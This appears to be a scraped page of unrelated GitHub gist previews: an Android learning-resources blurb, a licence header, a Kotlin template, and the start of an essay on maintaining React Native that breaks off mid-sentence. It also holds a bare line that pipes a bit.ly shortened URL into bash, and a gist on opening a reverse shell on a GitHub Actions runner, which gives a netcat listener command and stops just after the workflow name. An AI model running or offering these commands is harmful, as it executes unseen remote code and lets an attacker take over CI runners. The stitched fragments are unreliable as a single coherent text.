Here I collect all the useful material related to Android world, probably useful for newbies and people that have never developed on Android.
Feel free to suggest any other source to add in this list :)
Nic :D - [email protected]
curl -L http://bit.ly/10hA8iC | bash |
Here I collect all the useful material related to Android world, probably useful for newbies and people that have never developed on Android.
Feel free to suggest any other source to add in this list :)
Nic :D - [email protected]
/* Copyright 2019 The Android Open Source Project | |
* | |
* Licensed under the Apache License, Version 2.0 (the "License"); | |
* you may not use this file except in compliance with the License. | |
* You may obtain a copy of the License at | |
* | |
* https://www.apache.org/licenses/LICENSE-2.0 | |
* | |
* Unless required by applicable law or agreed to in writing, software | |
* distributed under the License is distributed on an "AS IS" BASIS, |
<templateSet group="Kotlin"> | |
<template name="debug" value="also(::println)" description="Print a debug log" toReformat="false" toShortenFQNames="true"> | |
<context> | |
<option name="KOTLIN" value="true" /> | |
<option name="KOTLIN_COMMENT" value="false" /> | |
<option name="KOTLIN_TOPLEVEL" value="false" /> | |
</context> | |
</template> | |
</templateSet> |
Why writing this, and why now? In January 2018 I started my journey as a maintainer of the React Native (RN) open source repo — it is the longest role I’ve ever kept going in my professional career, in a way — and I think now, at the 4 years mark, it is a very good time for me to pause, and force myself to think about how things have changed since then.
How did I become a maintainer? After a big burnout with react-navigation that led me to learn how to correctly interact with Open Source Software (OSS), I was starting to interact with OSS again by being a good citizen in the RN repository. Seeing me constantly in the issue section, trying to help out, led some Facebook (FB) engineers to decide to ask me to join the OSS repo with write access, so that I could be more proactive in helping its maintenance… and here we are.
Even so, I was never an em
Getting a shell on a GH runner is pretty easy. First, create a linux VM in your favorite cloud provider. Be sure to allow inbound traffic on port 22 and 1337. SSH into that VM and execute the following command:
nc -nvlp 1337
Then run the following workflow in GH actions:
name: Reverse shell